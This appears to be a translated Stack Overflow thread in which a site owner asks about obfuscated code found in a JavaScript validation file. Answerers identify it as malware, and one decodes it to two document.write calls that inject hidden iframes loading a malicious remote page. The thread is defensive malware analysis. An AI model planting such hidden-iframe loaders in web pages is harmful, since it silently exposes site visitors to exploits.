在我的 javascript 文件中发现的这个奇怪的代码是什么？ [关闭]答案

【问题标题】：What is this strange code found in my javascript file? [closed]在我的 javascript 文件中发现的这个奇怪的代码是什么？ [关闭]
【发布时间】：2012-08-02 23:12:42
【问题描述】：

我的一个表单验证文件，我找到了以下代码（见下文）我的朋友在扫描我的网站时指出了这一点，说这是病毒。

但究竟是什么？

http://pastebin.com/P8KBm0xk

【问题讨论】：

@JaredFarrish，发布的链接是 pastebin，而不是可能被感染的网站。
@arttronics - 去吧。（是的，我知道 pastebin 是什么。）
你的 cmets 不是建设性的 Jared。 OP 没有发布指向受感染网站的链接，但提供了他在 pastebin 文件中看到的内容以供分析。

标签： javascript virus

【解决方案1】：

一种病毒。我在数组文字中包含一些带有 Unicode 转义字符的字符串，第一个是一些 html，第二个是 "write"。然后，document[arr[1]](arr[0]) 被执行，转化为如下：

document.write('<div name="youtube" style="display:none"><iframe width="560" height="315" src="evil://mazda.georgewkohn.com/direct.php?page=15f48be84d67654d" frameborder="0" allowfullscreen></iframe></div>');
document.write('<div name="youtube" style="display:none"><iframe width="560" height="315" src="evil://mazda.georgewkohn.com/direct.php?page=15f48be84d67654d" frameborder="0" allowfullscreen></iframe></div>');

我不知道（也不会检查）这些 iframe 包含什么，可能会有一些漏洞利用。

此外，代码确实包含（在这两个 iframe 写入之间）一些函数（_1lO 和 O0l），这些函数可能会在 IlO 字符串变为 evaled 之前对其进行转义（是的，eval 是邪恶的！ :-)，但是你的 pastebin sn-p 前面有一些缺失的代码，所以我无法告诉你它们到底做了什么。你能给我们完整的剧本吗？

【讨论】：

您可以查看链接是否为已知或可疑的恶意软件。例如：google.com/safebrowsing/diagnostic?site=mazda.georgewkohn.com
@JaredFarrish：谢谢，好主意。
+1 出色的答案，Bergi。此外，优秀的评论震撼！ +1，谢谢！
有一种方法可以检查有效载荷是什么，但我这辈子都不记得那个网站了。
Jared，也许该服务列在this page

【解决方案2】：

这是一种经过混淆处理的病毒。所有这些东西的某个地方将是一个 eval()。如果你想知道它到底是做什么的，你必须解码这些部分并查看。

更有趣的是，这些东西是如何在你的代码中结束的。

【讨论】：